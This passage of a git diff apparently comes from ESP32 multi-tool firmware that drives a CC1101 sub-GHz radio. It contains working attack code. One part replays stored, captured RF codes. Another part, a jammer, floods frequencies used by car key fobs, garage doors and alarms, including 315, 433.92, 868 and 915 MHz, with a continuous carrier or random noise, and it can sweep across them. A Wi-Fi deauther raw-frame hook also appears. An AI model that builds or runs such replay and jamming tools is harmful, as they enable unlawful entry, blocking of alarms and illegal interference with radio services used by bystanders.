EEPROM.put(ADDR_FREQ, currentFrequencyIndex); + EEPROM.commit(); + replayShowDetectNotice("DECODE", ELECHOUSE_cc1101.getRssi()); + } + mySwitch.resetAvailable(); + } + + } +} + +namespace SavedProfile { + +static bool uiDrawn = false; + +#define EEPROM_SIZE 1440 + +#define ADDR_PROFILE_COUNT 1296 +#define ADDR_PROFILE_START 1300 +#define MAX_PROFILES 5 +#define MAX_NAME_LENGTH 16 + +#define SCREEN_WIDTH 240 +#define SCREEN_HEIGHT 320 + +RCSwitch mySwitch = RCSwitch(); +struct __attribute__((packed)) Profile { + uint32_t frequency; + uint32_t value; + uint16_t bitLength; + uint16_t protocol; + char name[MAX_NAME_LENGTH]; +}; + +#define PROFILE_SIZE sizeof(Profile) + +uint16_t profileCount = 0; +uint16_t currentProfileIndex = 0; + +int yshift = 16; + +static std::vector sdFiles; +static uint16_t sdTotalProfiles = 0; +static String sdLastErr = ""; +static String selectedPath = ""; +static uint16_t selectedLocalIdx = 0; +static Profile selectedProfile{}; +static bool selectedValid = false; + +static constexpr uint8_t ITEMS_PER_PAGE = 7; +static constexpr int LIST_X = 6; +static constexpr int LIST_W = 228; + +static constexpr int LIST_Y = 64; +static constexpr int ROW_H = 18; +static constexpr int BOT_H = 32; +static constexpr int BOT_Y = 320 - BOT_H; + +static constexpr int UI_GAP_Y = 6; +static constexpr int DETAILS_H = (BOT_Y - (LIST_Y + (ITEMS_PER_PAGE * ROW_H)) - (2 * UI_GAP_Y)); +static constexpr int DETAILS_Y = BOT_Y - UI_GAP_Y - DETAILS_H; +static constexpr int BOT_GAP = 8; +static constexpr int BOT_BTN_W = (240 - 10 - 10 - BOT_GAP) / 2; +static constexpr int BOT_BTN_H = 24; +static constexpr int BOT_BTN_Y = BOT_Y + 4; +static constexpr int BOT_TX_X = 10; +static constexpr int BOT_DEL_X = BOT_TX_X + BOT_BTN_W + BOT_GAP; + +static uint16_t cachedPageStart = 0xFFFF; +static SubGhzProfile cachedPage[ITEMS_PER_PAGE]{}; +static bool cachedOk[ITEMS_PER_PAGE]{}; +static bool cacheDirty = true; + +static bool deleteArmed = false; +static uint32_t deleteArmUntilMs = 0; + +static void drawBottomButtons() { + + tft.fillRect(0, BOT_Y, 240, BOT_H, TFT_BLACK); + + FeatureUI::drawButtonRect(BOT_TX_X, BOT_BTN_Y, BOT_BTN_W, BOT_BTN_H, + "Transmit", FeatureUI::ButtonStyle::Primary); + + const bool armed = deleteArmed && (int32_t)(millis() - deleteArmUntilMs) < 0; + const char* delLabel = armed ? "Delete?" : "Delete"; + FeatureUI::drawButtonRect(BOT_DEL_X, BOT_BTN_Y, BOT_BTN_W, BOT_BTN_H, + delLabel, FeatureUI::ButtonStyle::Danger); +} + +static void refreshSdIndex(bool keepSelection = true) { + uint16_t oldIdx = currentProfileIndex; + String err; + if (!listAllProfileFiles(sdFiles, &err)) { + sdFiles.clear(); + sdTotalProfiles = 0; + currentProfileIndex = 0; + selectedValid = false; + sdLastErr = err; + cacheDirty = true; + return; + } + sdLastErr = ""; + sdTotalProfiles = totalProfilesInIndex(sdFiles); + if (sdTotalProfiles == 0) { + currentProfileIndex = 0; + selectedValid = false; + sdLastErr = "No profiles found"; + cacheDirty = true; + return; + } + if (keepSelection) currentProfileIndex = oldIdx; + if (currentProfileIndex >= sdTotalProfiles) currentProfileIndex = (uint16_t)(sdTotalProfiles - 1); + selectedValid = false; + cacheDirty = true; +} + +static bool loadSelectedFromSd(String* errOut = nullptr) { + if (sdTotalProfiles == 0) { selectedValid = false; return false; } + if (!locateGlobalIndex(sdFiles, currentProfileIndex, selectedPath, selectedLocalIdx)) { + selectedValid = false; if (errOut) *errOut="Locate failed"; return false; + } + SubGhzProfile p{}; + if (!readProfileAt(selectedPath, selectedLocalIdx, p, errOut)) { + selectedValid = false; return false; + } + + selectedProfile.frequency = p.frequency; + selectedProfile.value = p.value; + selectedProfile.bitLength = p.bitLength; + selectedProfile.protocol = p.protocol; + memcpy(selectedProfile.name, p.name, MAX_NAME_LENGTH); + selectedProfile.name[MAX_NAME_LENGTH - 1] = '\0'; + selectedValid = true; + return true; +} + +static uint16_t pageStartForIndex(uint16_t idx) { + return (uint16_t)((idx / ITEMS_PER_PAGE) * ITEMS_PER_PAGE); +} + +static void ensurePageCache() { + if (sdTotalProfiles == 0) return; + uint16_t start = pageStartForIndex(currentProfileIndex); + if (!cacheDirty && cachedPageStart == start) return; + cachedPageStart = start; + for (uint8_t i = 0; i < ITEMS_PER_PAGE; i++) { + cachedOk[i] = false; + uint16_t globalIdx = (uint16_t)(start + i); + if (globalIdx >= sdTotalProfiles) continue; + String pth; uint16_t li = 0; + if (!locateGlobalIndex(sdFiles, globalIdx, pth, li)) continue; + String err; + cachedOk[i] = readProfileAt(pth, li, cachedPage[i], &err); + if (!cachedOk[i]) memset(&cachedPage[i], 0, sizeof(SubGhzProfile)); + } + cacheDirty = false; +} + +static void drawHeaderLine() { + + int hy = 30 + yshift; + tft.fillRect(0, hy, 240, 14, TFT_BLACK); + tft.setCursor(10, hy); + tft.setTextColor(TFT_CYAN, TFT_BLACK); + tft.printf("Profile %d/%d", (int)currentProfileIndex + 1, (int)sdTotalProfiles); +} + +static void drawRow(uint16_t pageStart, uint8_t row) { + uint16_t globalIdx = (uint16_t)(pageStart + row); + if (globalIdx >= sdTotalProfiles) return; + + bool isSel = (globalIdx == currentProfileIndex); + int y = LIST_Y + (row * ROW_H); + + uint16_t bg = isSel ? DARK_GRAY : TFT_BLACK; + uint16_t fg = isSel ? TFT_WHITE : TFT_LIGHTGREY; + tft.fillRect(LIST_X, y, LIST_W, ROW_H - 1, bg); + tft.setTextColor(fg, bg); + tft.setCursor(LIST_X + 2, y + 4); + tft.printf("%2d.", (int)globalIdx + 1); + tft.setCursor(LIST_X + 34, y + 4); + + if (cachedOk[row]) { + + char nameBuf[17]; + memcpy(nameBuf, cachedPage[row].name, 16); + nameBuf[16] = '\0'; + String nm = String(nameBuf); + if (nm.length() > 10) nm = nm.substring(0, 10); + tft.print(nm); + + char fbuf[16]; + snprintf(fbuf, sizeof(fbuf), "%.2f", cachedPage[row].frequency / 1000000.0); + int tw = tft.textWidth(fbuf, 1); + tft.setCursor(LIST_X + LIST_W - 4 - tw, y + 4); + tft.print(fbuf); + } else { + tft.print(""); + } +} + +static void drawListPage(uint16_t pageStart) { + ensurePageCache(); + + tft.fillRect(LIST_X, LIST_Y, LIST_W, (ITEMS_PER_PAGE * ROW_H), TFT_BLACK); + for (uint8_t row = 0; row < ITEMS_PER_PAGE; row++) { + if ((uint16_t)(pageStart + row) >= sdTotalProfiles) break; + drawRow(pageStart, row); + } +} + +static void drawDetails() { + + tft.fillRect(0, DETAILS_Y, 240, (DETAILS_H + UI_GAP_Y), TFT_BLACK); + + String err; + if (!selectedValid) loadSelectedFromSd(&err); + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.setCursor(10, DETAILS_Y); + if (!selectedValid) { + tft.print("Read failed: "); + tft.print(err); + return; + } + + tft.print("Name: "); tft.print(selectedProfile.name); + tft.setCursor(10, DETAILS_Y + 14); + tft.printf("Freq: %.2f MHz P:%d", selectedProfile.frequency / 1000000.0, selectedProfile.protocol); + tft.setCursor(10, DETAILS_Y + 28); + tft.printf("Val: %lu Bit:%d", selectedProfile.value, selectedProfile.bitLength); + + tft.setCursor(10, DETAILS_Y + 42); + tft.setTextColor(TFT_DARKGREY, TFT_BLACK); + if (selectedPath.endsWith("profiles_current.bin")) { + tft.print("SRC: current"); + } else { + tft.print("SRC: "); + int slash = selectedPath.lastIndexOf('/'); + tft.print(slash >= 0 ? selectedPath.substring(slash + 1) : selectedPath); + } + + if (deleteArmed && (int32_t)(millis() - deleteArmUntilMs) < 0) { + + int hintY = DETAILS_Y + 56; + if (hintY >= BOT_Y) hintY = BOT_Y - 12; + tft.setCursor(10, hintY); + tft.setTextColor(UI_WARN, TFT_BLACK); + tft.print("Press delete again to confirm"); + } + + drawBottomButtons(); +} + +static void updateSelectionUI(uint16_t oldIndex, bool forceListRedraw = false) { + if (sdTotalProfiles == 0) return; + uint16_t oldPage = pageStartForIndex(oldIndex); + uint16_t newPage = pageStartForIndex(currentProfileIndex); + + tft.startWrite(); + drawHeaderLine(); + + if (forceListRedraw || oldPage != newPage) { + drawListPage(newPage); + } else { + + uint8_t oldRow = (uint8_t)(oldIndex - oldPage); + uint8_t newRow = (uint8_t)(currentProfileIndex - newPage); + ensurePageCache(); + + drawRow(newPage, oldRow); + drawRow(newPage, newRow); + } + + drawDetails(); + tft.endWrite(); +} + +void updateDisplay() { + + tft.startWrite(); + tft.fillRect(0, 40, 240, 280, TFT_BLACK); + + if (sdTotalProfiles == 0) { + tft.setCursor(10, 35 + yshift); + tft.setTextColor(TFT_WHITE); + tft.print("No profiles on SD."); + if (sdLastErr.length()) { + tft.setCursor(10, 48 + yshift); + tft.setTextColor(TFT_DARKGREY); + tft.print(sdLastErr); + } + return; + } + + drawHeaderLine(); + drawListPage(pageStartForIndex(currentProfileIndex)); + drawDetails(); + tft.endWrite(); +} + +void transmitProfile(int index) { + (void)index; + String err; + loadSelectedFromSd(&err); + if (!selectedValid) return; + Profile profileToSend = selectedProfile; + + ELECHOUSE_cc1101.setSidle(); + ELECHOUSE_cc1101.setMHZ(profileToSend.frequency / 1000000.0); + + mySwitch.disableReceive(); + delay(100); + mySwitch.enableTransmit(SUBGHZ_TX_PIN); + ELECHOUSE_cc1101.SetTx(); + + tft.fillRect(0, 40, 240, 280, TFT_BLACK); + tft.setCursor(10, 30 + yshift); + tft.setTextColor(TFT_WHITE); + tft.print("Sending "); + tft.print(profileToSend.name); + tft.print("..."); + tft.setCursor(10, 50 + yshift); + tft.print("Value: "); + tft.print(profileToSend.value); + + mySwitch.setProtocol(profileToSend.protocol); + mySwitch.send(profileToSend.value, profileToSend.bitLength); + + delay(500); + tft.fillRect(0, 40, 240, 280, TFT_BLACK); + tft.setCursor(10, 30 + yshift); + tft.print("Done!"); + + ELECHOUSE_cc1101.SetRx(); + mySwitch.disableTransmit(); + delay(100); + mySwitch.enableReceive(SUBGHZ_RX_PIN); + + delay(500); + updateDisplay(); +} + +void loadProfileCount() { + + refreshSdIndex(true); +} + +void printProfiles() { + Serial.println("Saved Profiles (SD index):"); + String err; + refreshSdIndex(false); + Serial.printf("Total profiles: %d\n", (int)sdTotalProfiles); + if (!sdTotalProfiles) return; + + uint16_t n = sdTotalProfiles > 10 ? 10 : sdTotalProfiles; + for (uint16_t i = 0; i < n; i++) { + String pth; uint16_t li = 0; + if (!locateGlobalIndex(sdFiles, i, pth, li)) continue; + SubGhzProfile p{}; + if (!readProfileAt(pth, li, p, &err)) continue; + Serial.printf(" [%d] %s @ %.2f MHz (val=%lu)\n", (int)i, p.name, p.frequency/1000000.0, (unsigned long)p.value); + } +} + +void deleteProfile(int index) { + (void)index; + if (sdTotalProfiles == 0) return; + String err; + loadSelectedFromSd(&err); + if (!selectedValid) return; + + String path = selectedPath; + uint16_t local = selectedLocalIdx; + + uint32_t now = millis(); + if (!deleteArmed || (int32_t)(now - deleteArmUntilMs) >= 0) { + deleteArmed = true; + deleteArmUntilMs = now + 3000; + updateDisplay(); + return; + } + deleteArmed = false; + + if (!deleteProfileFromFile(path, local, &err)) { + tft.fillRect(0, 40, 240, 280, TFT_BLACK); + tft.setCursor(10, 30 + yshift); + tft.setTextColor(UI_WARN); + tft.print("Delete FAILED"); + tft.setCursor(10, 45 + yshift); + tft.setTextColor(TFT_WHITE); + tft.print(err); + delay(1200); + updateDisplay(); + return; + } + + refreshSdIndex(false); + if (sdTotalProfiles == 0) currentProfileIndex = 0; + else if (currentProfileIndex >= sdTotalProfiles) currentProfileIndex = (uint16_t)(sdTotalProfiles - 1); + selectedValid = false; + cacheDirty = true; + updateDisplay(); +} + +void runUI() { + #define STATUS_BAR_Y_OFFSET 20 + #define STATUS_BAR_HEIGHT 16 + #define ICON_SIZE 16 + #define ICON_NUM 6 + + static int iconX[ICON_NUM] = {90, 130, 170, 210, 50, 10}; + static int iconY = STATUS_BAR_Y_OFFSET; + + static const unsigned char* icons[ICON_NUM] = { + bitmap_icon_sort_down_minus, + bitmap_icon_sort_up_plus, + bitmap_icon_antenna, + bitmap_icon_recycle, + bitmap_icon_sdcard, + bitmap_icon_go_back + }; + + if (!uiDrawn) { + tft.drawLine(0, 19, 240, 19, TFT_WHITE); + tft.fillRect(0, STATUS_BAR_Y_OFFSET, SCREEN_WIDTH, STATUS_BAR_HEIGHT, DARK_GRAY); + + for (int i = 0; i < ICON_NUM; i++) { + if (icons[i] != NULL) { + tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_WHITE); + } + } + tft.drawLine(0, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, SCREEN_WIDTH, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, ORANGE); + uiDrawn = true; + } + + static unsigned long lastAnimationTime = 0; + static int animationState = 0; + static int activeIcon = -1; + + if (animationState > 0 && millis() - lastAnimationTime >= 150) { + if (animationState == 1) { + tft.drawBitmap(iconX[activeIcon], iconY, icons[activeIcon], ICON_SIZE, ICON_SIZE, TFT_WHITE); + animationState = 2; + + switch (activeIcon) { + case 0: + if (sdTotalProfiles > 0) { + uint16_t oldIdx = currentProfileIndex; + currentProfileIndex = (uint16_t)((currentProfileIndex + 1) % sdTotalProfiles); + selectedValid = false; + cacheDirty = true; + deleteArmed = false; + + updateSelectionUI(oldIdx, false); + } + break; + case 1: + if (sdTotalProfiles > 0) { + uint16_t oldIdx = currentProfileIndex; + currentProfileIndex = (uint16_t)((currentProfileIndex + sdTotalProfiles - 1) % sdTotalProfiles); + selectedValid = false; + cacheDirty = true; + deleteArmed = false; + updateSelectionUI(oldIdx, false); + } + break; + case 2: + if (sdTotalProfiles > 0) { + transmitProfile(currentProfileIndex); + } + break; + case 3: + if (sdTotalProfiles > 0) { + deleteProfile(currentProfileIndex); + } + break; + case 4: { + refreshSdIndex(true); + selectedValid = false; + cacheDirty = true; + deleteArmed = false; + updateDisplay(); + break; + } + } + } else if (animationState == 2) { + animationState = 0; + activeIcon = -1; + } + lastAnimationTime = millis(); + } + + static unsigned long lastTouchCheck = 0; + const unsigned long touchCheckInterval = 50; + + if (millis() - lastTouchCheck >= touchCheckInterval) { + int x, y; + if (feature_active && readTouchXY(x, y)) { + + if (y >= BOT_Y && y < (BOT_Y + BOT_H)) { + if (x >= BOT_TX_X && x < (BOT_TX_X + BOT_BTN_W)) { + if (sdTotalProfiles > 0) transmitProfile(currentProfileIndex); + } else if (x >= BOT_DEL_X && x < (BOT_DEL_X + BOT_BTN_W)) { + if (sdTotalProfiles > 0) deleteProfile(currentProfileIndex); + } + lastTouchCheck = millis(); + return; + } + + if (y >= LIST_Y && y < (LIST_Y + (ITEMS_PER_PAGE * ROW_H)) && x >= LIST_X && x < (LIST_X + LIST_W)) { + uint8_t row = (uint8_t)((y - LIST_Y) / ROW_H); + uint16_t oldIdx = currentProfileIndex; + uint16_t start = pageStartForIndex(currentProfileIndex); + uint16_t idx = (uint16_t)(start + row); + if (idx < sdTotalProfiles) { + currentProfileIndex = idx; + selectedValid = false; + cacheDirty = true; + deleteArmed = false; + updateSelectionUI(oldIdx, false); + } + } + if (y > STATUS_BAR_Y_OFFSET && y < STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT) { + for (int i = 0; i < ICON_NUM; i++) { + if (x > iconX[i] && x < iconX[i] + ICON_SIZE) { + if (icons[i] != NULL && animationState == 0) { + + if (i == 5) { + feature_exit_requested = true; + } else { + + tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_BLACK); + animationState = 1; + activeIcon = i; + lastAnimationTime = millis(); + } + } + break; + } + } + } + } + lastTouchCheck = millis(); + } +} + +void saveSetup() { + Serial.begin(115200); + + ELECHOUSE_cc1101.setSpiPin(CC1101_SCK, CC1101_MISO, CC1101_MOSI, CC1101_CS); + + EEPROM.begin(EEPROM_SIZE); + loadProfileCount(); + printProfiles(); + + pcf.pinMode(BTN_UP, INPUT_PULLUP); + pcf.pinMode(BTN_DOWN, INPUT_PULLUP); + pcf.pinMode(BTN_LEFT, INPUT_PULLUP); + pcf.pinMode(BTN_RIGHT, INPUT_PULLUP); + pcf.pinMode(BTN_SELECT, INPUT_PULLUP); + + tft.fillScreen(TFT_BLACK); + tft.setTextColor(TFT_WHITE); + + setupTouchscreen(); + + float currentBatteryVoltage = readBatteryVoltage(); + drawStatusBar(currentBatteryVoltage, true); + uiDrawn = false; + + ELECHOUSE_cc1101.Init(); + ELECHOUSE_cc1101.setGDO(CC1101_GDO0, CC1101_GDO2); + ELECHOUSE_cc1101.SetRx(); + + mySwitch.enableReceive(SUBGHZ_RX_PIN); + mySwitch.enableTransmit(SUBGHZ_TX_PIN); + mySwitch.setRepeatTransmit(8); + + refreshSdIndex(false); + cacheDirty = true; + deleteArmed = false; + updateDisplay(); +} + +void saveLoop() { + + if (feature_active && isButtonPressed(BTN_SELECT)) { + feature_exit_requested = true; + return; + } + + runUI(); + + static unsigned long lastDebounceTime = 0; + const unsigned long debounceDelay = 200; + + bool prevPressed = isButtonPressed(BTN_UP); + bool nextPressed = isButtonPressed(BTN_DOWN); + bool txPressed = isButtonPressed(BTN_RIGHT); + bool refreshPressed = isButtonPressed(BTN_LEFT); + + if (sdTotalProfiles > 0) { + + if (nextPressed && millis() - lastDebounceTime > debounceDelay) { + uint16_t oldIdx = currentProfileIndex; + currentProfileIndex = (uint16_t)((currentProfileIndex + 1) % sdTotalProfiles); + selectedValid = false; + updateSelectionUI(oldIdx, false); + lastDebounceTime = millis(); + } + + if (prevPressed && millis() - lastDebounceTime > debounceDelay) { + uint16_t oldIdx = currentProfileIndex; + currentProfileIndex = (uint16_t)((currentProfileIndex + sdTotalProfiles - 1) % sdTotalProfiles); + selectedValid = false; + updateSelectionUI(oldIdx, false); + lastDebounceTime = millis(); + } + + if (txPressed && millis() - lastDebounceTime > debounceDelay) { + transmitProfile(currentProfileIndex); + lastDebounceTime = millis(); + } + + if (refreshPressed && millis() - lastDebounceTime > debounceDelay) { + refreshSdIndex(true); + selectedValid = false; + cacheDirty = true; + deleteArmed = false; + updateDisplay(); + lastDebounceTime = millis(); + } + } else { + + tft.setCursor(10, 50 + yshift); + tft.setTextColor(TFT_WHITE); + tft.print("No profiles on SD."); + } +} + +} + +namespace subjammer { + +static bool uiDrawn = false; + +static unsigned long lastDebounceTime = 0; +const unsigned long debounceDelay = 200; + +#define SCREEN_WIDTH 240 +#define SCREEN_HEIGHT 64 + +static constexpr uint8_t JAM_BTN_LEFT = 4; +static constexpr uint8_t JAM_BTN_RIGHT = 5; +static constexpr uint8_t JAM_BTN_DOWN = 3; +static constexpr uint8_t JAM_BTN_UP = 6; + +bool jammingRunning = false; +bool continuousMode = true; +bool autoMode = false; +unsigned long lastSweepTime = 0; +const unsigned long sweepInterval = 1000; + +static const uint32_t subghz_frequency_list[] = { + 300000000, 303875000, 304250000, 310000000, 315000000, 318000000, + 390000000, 418000000, 433075000, 433420000, 433920000, 434420000, + 434775000, 438900000, 868350000, 915000000, 925000000 +}; +const int numFrequencies = sizeof(subghz_frequency_list) / sizeof(subghz_frequency_list[0]); +int currentFrequencyIndex = 4; +float targetFrequency = subghz_frequency_list[currentFrequencyIndex] / 1000000.0; + +void updateDisplay() { + + int yshift = 20; + + tft.fillRect(0, 40, 240, 80, TFT_BLACK); + tft.drawLine(0, 79, 235, 79, TFT_WHITE); + + tft.setTextSize(1); + tft.setCursor(5, 22 + yshift); + tft.setTextColor(TFT_CYAN); + tft.print("Freq:"); + tft.setCursor(40, 22 + yshift); + if (autoMode) { + tft.setTextColor(ORANGE); + tft.print("Auto: "); + tft.setTextColor(TFT_WHITE); + tft.print(targetFrequency, 1); + + int progress = ::map(currentFrequencyIndex, 0, numFrequencies - 1, 0, 240); + tft.fillRect(0, 60 + yshift, 240, 4, TFT_BLACK); + tft.fillRect(0, 60 + yshift, progress, 4, ORANGE); + + if (jammingRunning && millis() % 1000 < 500) { + tft.fillCircle(220, 22 + yshift, 2, TFT_GREEN); + } + } else { + tft.setTextColor(TFT_WHITE); + tft.print(targetFrequency, 2); + tft.print(" MHz"); + } + + tft.setCursor(130, 22 + yshift); + tft.setTextColor(TFT_CYAN); + tft.print("Mode:"); + tft.setCursor(165, 22 + yshift); + tft.setTextColor(continuousMode ? TFT_GREEN : TFT_YELLOW); + tft.print(continuousMode ? "Cont" : "Noise"); + + tft.setCursor(5, 42 + yshift); + tft.setTextColor(TFT_CYAN); + tft.print("Status:"); + tft.setCursor(50, 42 + yshift); + if (jammingRunning) { + tft.setTextColor(UI_WARN); + tft.print("Jamming"); + + } else { + tft.setTextColor(TFT_GREEN); + tft.print("Idle "); + } +} + +void runUI() { + #define SCREEN_WIDTH 240 + #define SCREENHEIGHT 320 + #define STATUS_BAR_Y_OFFSET 20 + #define STATUS_BAR_HEIGHT 16 + #define ICON_SIZE 16 + #define ICON_NUM 6 + + static int iconX[ICON_NUM] = {50, 90, 130, 170, 210, 10}; + static int iconY = STATUS_BAR_Y_OFFSET; + + static const unsigned char* icons[ICON_NUM] = { + bitmap_icon_power, + bitmap_icon_antenna, + bitmap_icon_random, + bitmap_icon_sort_down_minus, + bitmap_icon_sort_up_plus, + bitmap_icon_go_back + }; + + if (!uiDrawn) { + tft.drawLine(0, 19, 240, 19, TFT_WHITE); + tft.fillRect(0, STATUS_BAR_Y_OFFSET, SCREEN_WIDTH, STATUS_BAR_HEIGHT, DARK_GRAY); + + for (int i = 0; i < ICON_NUM; i++) { + if (icons[i] != NULL) { + tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_WHITE); + } + } + tft.drawLine(0, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, SCREEN_WIDTH, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, ORANGE); + uiDrawn = true; + } + + static unsigned long lastAnimationTime = 0; + static int animationState = 0; + static int activeIcon = -1; + + if (animationState > 0 && millis() - lastAnimationTime >= 150) { + if (animationState == 1) { + tft.drawBitmap(iconX[activeIcon], iconY, icons[activeIcon], ICON_SIZE, ICON_SIZE, TFT_WHITE); + animationState = 2; + + switch (activeIcon) { + case 0: + jammingRunning = !jammingRunning; + if (jammingRunning) { + Serial.println("Jamming started"); + ELECHOUSE_cc1101.setMHZ(targetFrequency); + ELECHOUSE_cc1101.SetTx(); + } else { + Serial.println("Jamming stopped"); + ELECHOUSE_cc1101.setSidle(); + digitalWrite(TX_PIN, LOW); + } + updateDisplay(); + lastDebounceTime = millis(); + break; + case 1: + continuousMode = !continuousMode; + Serial.print("Jamming mode: "); + Serial.println(continuousMode ? "Continuous Carrier" : "Noise"); + updateDisplay(); + lastDebounceTime = millis(); + break; + case 2: + autoMode = !autoMode; + Serial.print("Frequency mode: "); + Serial.println(autoMode ? "Automatic" : "Manual"); + if (autoMode) { + currentFrequencyIndex = 0; + targetFrequency = subghz_frequency_list[currentFrequencyIndex] / 1000000.0; + ELECHOUSE_cc1101.setMHZ(targetFrequency); + } + updateDisplay(); + lastDebounceTime = millis(); + break; + case 3: + currentFrequencyIndex = (currentFrequencyIndex - 1 + numFrequencies) % numFrequencies; + targetFrequency = subghz_frequency_list[currentFrequencyIndex] / 1000000.0; + ELECHOUSE_cc1101.setMHZ(targetFrequency); + Serial.print("Switched to: "); + Serial.print(targetFrequency); + Serial.println(" MHz"); + updateDisplay(); + lastDebounceTime = millis(); + break; + case 4: + currentFrequencyIndex = (currentFrequencyIndex + 1) % numFrequencies; + targetFrequency = subghz_frequency_list[currentFrequencyIndex] / 1000000.0; + ELECHOUSE_cc1101.setMHZ(targetFrequency); + Serial.print("Switched to: "); + Serial.print(targetFrequency); + Serial.println(" MHz"); + updateDisplay(); + lastDebounceTime = millis(); + break; + case 5: + feature_exit_requested = true; + break; + } + } else if (animationState == 2) { + animationState = 0; + activeIcon = -1; + } + lastAnimationTime = millis(); + } + + static unsigned long lastTouchCheck = 0; + const unsigned long touchCheckInterval = 50; + + if (millis() - lastTouchCheck >= touchCheckInterval) { + int x, y; + if (feature_active && readTouchXY(x, y)) { + if (y > STATUS_BAR_Y_OFFSET && y < STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT) { + for (int i = 0; i < ICON_NUM; i++) { + if (x > iconX[i] && x < iconX[i] + ICON_SIZE) { + if (icons[i] != NULL && animationState == 0) { + + if (i == 5) { + feature_exit_requested = true; + } else { + + tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_BLACK); + animationState = 1; + activeIcon = i; + lastAnimationTime = millis(); + } + } + break; + } + } + } + } + lastTouchCheck = millis(); + } +} + +void subjammerSetup() { + Serial.begin(115200); + + ELECHOUSE_cc1101.setSpiPin(CC1101_SCK, CC1101_MISO, CC1101_MOSI, CC1101_CS); + + ELECHOUSE_cc1101.Init(); + ELECHOUSE_cc1101.setModulation(0); + ELECHOUSE_cc1101.setRxBW(500.0); + ELECHOUSE_cc1101.setPA(12); + ELECHOUSE_cc1101.setMHZ(targetFrequency); + ELECHOUSE_cc1101.SetTx(); + + randomSeed(analogRead(0)); + + pcf.pinMode(BTN_LEFT, INPUT_PULLUP); + pcf.pinMode(BTN_RIGHT, INPUT_PULLUP); + pcf.pinMode(BTN_DOWN, INPUT_PULLUP); + pcf.pinMode(BTN_UP, INPUT_PULLUP); + delay(100); + + tft.fillScreen(TFT_BLACK); + + setupTouchscreen(); + + float currentBatteryVoltage = readBatteryVoltage(); + drawStatusBar(currentBatteryVoltage, true); + updateDisplay(); + uiDrawn = false; +} + +void subjammerLoop() { + + if (feature_active && isButtonPressed(BTN_SELECT)) { + feature_exit_requested = true; + return; + } + + runUI(); + + int btnLeftState = pcf.digitalRead(JAM_BTN_LEFT); + int btnRightState = pcf.digitalRead(JAM_BTN_RIGHT); + int btnUpState = pcf.digitalRead(JAM_BTN_UP); + int btnDownState = pcf.digitalRead(JAM_BTN_DOWN); + + if (btnUpState == LOW && millis() - lastDebounceTime > debounceDelay) { + jammingRunning = !jammingRunning; + if (jammingRunning) { + Serial.println("Jamming started"); + ELECHOUSE_cc1101.setMHZ(targetFrequency); + ELECHOUSE_cc1101.SetTx(); + } else { + Serial.println("Jamming stopped"); + ELECHOUSE_cc1101.setSidle(); + digitalWrite(TX_PIN, LOW); + } + updateDisplay(); + lastDebounceTime = millis(); + } + + if (btnRightState == LOW && !autoMode && millis() - lastDebounceTime > debounceDelay) { + currentFrequencyIndex = (currentFrequencyIndex + 1) % numFrequencies; + targetFrequency = subghz_frequency_list[currentFrequencyIndex] / 1000000.0; + ELECHOUSE_cc1101.setMHZ(targetFrequency); + Serial.print("Switched to: "); + Serial.print(targetFrequency); + Serial.println(" MHz"); + updateDisplay(); + lastDebounceTime = millis(); + } + + if (btnLeftState == LOW && !autoMode && millis() - lastDebounceTime > debounceDelay) { + continuousMode = !continuousMode; + Serial.print("Jamming mode: "); + Serial.println(continuousMode ? "Continuous Carrier" : "Noise"); + updateDisplay(); + lastDebounceTime = millis(); + } + + if (btnDownState == LOW && millis() - lastDebounceTime > debounceDelay) { + autoMode = !autoMode; + Serial.print("Frequency mode: "); + Serial.println(autoMode ? "Automatic" : "Manual"); + if (autoMode) { + currentFrequencyIndex = 0; + targetFrequency = subghz_frequency_list[currentFrequencyIndex] / 1000000.0; + ELECHOUSE_cc1101.setMHZ(targetFrequency); + } + updateDisplay(); + lastDebounceTime = millis(); + } + + if (jammingRunning) { + if (autoMode) { + if (millis() - lastSweepTime >= sweepInterval) { + currentFrequencyIndex = (currentFrequencyIndex + 1) % numFrequencies; + targetFrequency = subghz_frequency_list[currentFrequencyIndex] / 1000000.0; + ELECHOUSE_cc1101.setMHZ(targetFrequency); + Serial.print("Sweeping: "); + Serial.print(targetFrequency); + Serial.println(" MHz"); + updateDisplay(); + lastSweepTime = millis(); + } + } + + ELECHOUSE_cc1101.SetTx(); + + if (continuousMode) { + ELECHOUSE_cc1101.SpiWriteReg(CC1101_TXFIFO, 0xFF); + ELECHOUSE_cc1101.SpiStrobe(CC1101_STX); + digitalWrite(TX_PIN, HIGH); + } else { + for (int i = 0; i < 10; i++) { + uint32_t noise = random(16777216); + ELECHOUSE_cc1101.SpiWriteReg(CC1101_TXFIFO, noise >> 16); + ELECHOUSE_cc1101.SpiWriteReg(CC1101_TXFIFO, (noise >> 8) & 0xFF); + ELECHOUSE_cc1101.SpiWriteReg(CC1101_TXFIFO, noise & 0xFF); + ELECHOUSE_cc1101.SpiStrobe(CC1101_STX); + delayMicroseconds(50); + } + } + } + } +} diff --git a/ESP32-DIV/utils.cpp b/src/utils.cpp similarity index 100% rename from ESP32-DIV/utils.cpp rename to src/utils.cpp diff --git a/ESP32-DIV/wifi.cpp b/src/wifi.cpp similarity index 96% rename from ESP32-DIV/wifi.cpp rename to src/wifi.cpp index e559838..1901037 100644 --- a/ESP32-DIV/wifi.cpp +++ b/src/wifi.cpp @@ -1,5055 +1,5057 @@ -#include "KeyboardUI.h" -#include "SettingsStore.h" -#include "Touchscreen.h" -#include "config.h" -#include "esp_timer.h" -#include "freertos/FreeRTOS.h" -#include "freertos/queue.h" -#include "freertos/task.h" -#include "icon.h" -#include "shared.h" - - -namespace Deauther { - extern void wsl_bypasser_send_raw_frame(const uint8_t *frame_buffer, int size); -} - -#ifdef TFT_BLACK -#undef TFT_BLACK -#endif -#define TFT_BLACK FEATURE_BG - -#ifndef FEATURE_TEXT -#define FEATURE_TEXT ORANGE -#endif -#ifndef FEATURE_WHITE -#define FEATURE_WHITE 0xFFFF -#endif - 